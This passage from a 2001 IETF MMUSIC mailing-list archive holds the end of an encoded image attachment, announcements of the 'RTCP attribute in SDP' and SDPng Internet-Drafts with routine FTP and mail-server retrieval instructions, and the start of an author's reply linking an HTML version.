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

------=_NextPart_000_01C6_01C12EE7.FDFE2960--


From confctrl-owner  Mon Aug 27 03:50:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA08742
	for confctrl-outgoing; Mon, 27 Aug 2001 03:50:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA08737
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 03:50:47 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RAoiv14121
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 03:50:49 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10163;
	Mon, 27 Aug 2001 06:49:23 -0400 (EDT)
Message-Id: <200108271049.GAA10163@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp4nat-00.txt
Date: Mon, 27 Aug 2001 06:49:23 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: RTCP attribute in SDP
	Author(s)	: C. Huitema
	Filename	: draft-ietf-mmusic-sdp4nat-00.txt
	Pages		: 7
	Date		: 24-Aug-01
	
The session description protocol (SDP) is used to describe the 
parameters of media streams used in multimedia sessions. When a 
session requires multiple ports, SDP assumes that these port have 
consecutive numbers. However, when the session crosses a network 
address translation device that also uses port mapping, the ordering 
of ports can be destroyed by the translation. To handle this, we 
propose an extension attribute to SDP.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp4nat-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp4nat-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp4nat-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010824105758.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp4nat-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp4nat-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010824105758.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Aug 27 03:50:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA08750
	for confctrl-outgoing; Mon, 27 Aug 2001 03:50:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA08745
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 03:50:50 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RAopv14125
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 03:50:51 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10179;
	Mon, 27 Aug 2001 06:49:30 -0400 (EDT)
Message-Id: <200108271049.GAA10179@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdpng-02.txt
Date: Mon, 27 Aug 2001 06:49:30 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Description and Capability Negotiation
	Author(s)	: D. Kutscher, J. Ott, C. Bormann
	Filename	: draft-ietf-mmusic-sdpng-02.txt
	Pages		: 52
	Date		: 24-Aug-01
	
This document defines a language for describing multimedia sessions
with respect to configuration parameters and capabilities of end
systems. 
This document is a product of the Multiparty Multimedia Session
Control (MMUSIC) working group of the Internet Engineering Task
Force. Comments are solicited and should be addressed to the working
group's mailing list at confctrl@isi.edu and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdpng-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdpng-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdpng-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010824105807.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdpng-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdpng-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010824105807.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Aug 27 05:22:25 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA12456
	for confctrl-outgoing; Mon, 27 Aug 2001 05:22:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA12451
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 05:22:24 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RCMOv28279
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 05:22:25 -0700 (PDT)
Received: from domain.informatik.uni-bremen.de (IDENT:root@domain.informatik.uni-bremen.de [134.102.218.58])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f7RCM2J06766
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 14:22:02 +0200 (MEST)
Received: (from dku@localhost)
	by domain.informatik.uni-bremen.de (8.9.3/8.8.7) id OAA26692;
	Mon, 27 Aug 2001 14:22:19 +0200
X-Authentication-Warning: domain.informatik.uni-bremen.de: dku set sender to dku@informatik.uni-bremen.de using -f
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-sdpng-02.txt
References: <200108271049.GAA10179@ietf.org>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
In-Reply-To: Internet-Drafts@ietf.org's message of "Mon, 27 Aug 2001 06:49:30 -0400"
Date: 27 Aug 2001 14:20:52 +0200
Message-ID: <cdsnedg0d7.fsf@domain.informatik.uni-bremen.de>
Lines: 33
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


     > A New Internet-Draft is available from the on-line
     > Internet-Drafts directories.  This draft is a work item of the
     > Multiparty Multimedia Session Control Working Group of the
     > IETF.

     > 	Title		: Session Description and Capability Negotiation
     > 	Author(s)	: D. Kutscher, J. Ott, C. Bormann
     > 	Filename	: draft-ietf-mmusic-sdpng-02.txt
     > 	Pages		: 52
     > 	Date		: 24-Aug-01
	
The HTML version is available at

http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/drafts/draft-ietf-mmusic-sdpng-02.html

We have added more details on the formal specification of the SDPng
